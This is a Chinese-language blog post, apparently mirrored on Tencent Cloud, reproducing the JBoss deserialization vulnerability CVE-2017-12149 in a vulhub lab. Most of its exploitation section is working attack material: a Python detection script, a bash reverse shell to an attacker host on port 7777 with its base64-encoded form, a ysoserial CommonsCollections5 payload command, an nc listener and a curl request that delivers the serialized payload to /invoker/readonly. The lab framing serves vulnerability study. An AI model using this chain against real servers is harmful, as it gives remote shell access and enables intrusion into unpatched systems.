前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >JBoss 5.x/6.x 反序列化漏洞复现

JBoss 5.x/6.x 反序列化漏洞复现

作者头像
LuckySec
发布2022-11-02 14:31:39
3950
发布2022-11-02 14:31:39
举报
文章被收录于专栏:LuckySec网络安全

0x01 漏洞简介

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

影响版本:

  • JBoss 5.x
  • JBoss 6.x

0x02 漏洞环境

执行下面命令启动漏洞环境:

代码语言:javascript
复制
cd /vulhub/jboss/CVE-2017-12149
sudo docker-compose up -d

首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

0x03 漏洞复现

1. 漏洞检测POC

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化。

使用POC脚本进行漏洞检测

代码语言:javascript
复制
python cve-2017-12149_poc.py http://192.168.126.130:8080/

POC脚本源码如下:

代码语言:javascript
复制
##!/usr/bin/python
#-*- coding:utf-8 -*-
import requests
import sys

if len(sys.argv)!=2:
    print('+---------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub          +')
    print('+---------------------------------------------------------------+')
    print('+ USE: python <filename> <url>                                  +')
    print('+ EXP: python cve-2017-12149_poc.py http://freeerror.org:8080   +')
    print('+ VER: Jboss AS 5.X                                             +')
    print('+      Jboss AS 6.X                                             +')
    print('+---------------------------------------------------------------+')
    sys.exit()
url = sys.argv[1]

vulurl = url+"/invoker/readonly"

headers = {
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0",
'Accept': "*/*",
'Content-Type': "application/json",
'X-Requested-With': "XMLHttpRequest",
'Connection': "close",
'Cache-Control': "no-cache"
}


try:
    r =requests.post(vulurl, headers=headers, verify=False)
    e=r.status_code
except:
    print ("[-] Target "+url+" Not CVE-2017-12149 Good Luck")
    sys.exit()
if e == 500:
    print ("[+] Target "+url+" Find CVE-2017-12149  EXP:https://github.com/zhzyker/exphub")
else: 
    print ("[-] Target "+url+" Not CVE-2017-12149 Good Luck")
    exit()
2. 编写反弹shell
代码语言:javascript
复制
# 1. 设置好要接收shell的主机ip和端口号:
bash -i >& /dev/tcp/192.168.126.128/7777 0>&1

# 2. 将第一步中的代码进行Base64加密:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx

# 3. 将第二步中的代码添加到如下位置:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

# 4. 使用ysoserial生成序列化数据,并重定向到exp.ser文件
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" > exp.ser


Tips1:ysoserical用法:java -jar ysoserial.jar [payload] “[command]”
Tips2:由于目标jdk版本过高,因此这里使用的利用库为CommonsCollections5(具体根据对方jdk版本选择)
Tips3:我们使用bash反弹shell,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码再使用
3. 获取目标shell

在接收shell的攻击主机上开启端口监听

代码语言:javascript
复制
nc -lvp 7777

通过二进制POST方式发送攻击载荷exp.ser/invoker/readonly

代码语言:javascript
复制
curl http://192.168.126.130:8080/invoker/readonly --data-binary @exp.ser

成功接收到反弹的shell:

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-11-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 漏洞简介
  • 0x02 漏洞环境
  • 0x03 漏洞复现
    • 1. 漏洞检测POC
      • 2. 编写反弹shell
        • 3. 获取目标shell
        相关产品与服务
        文件存储
        文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档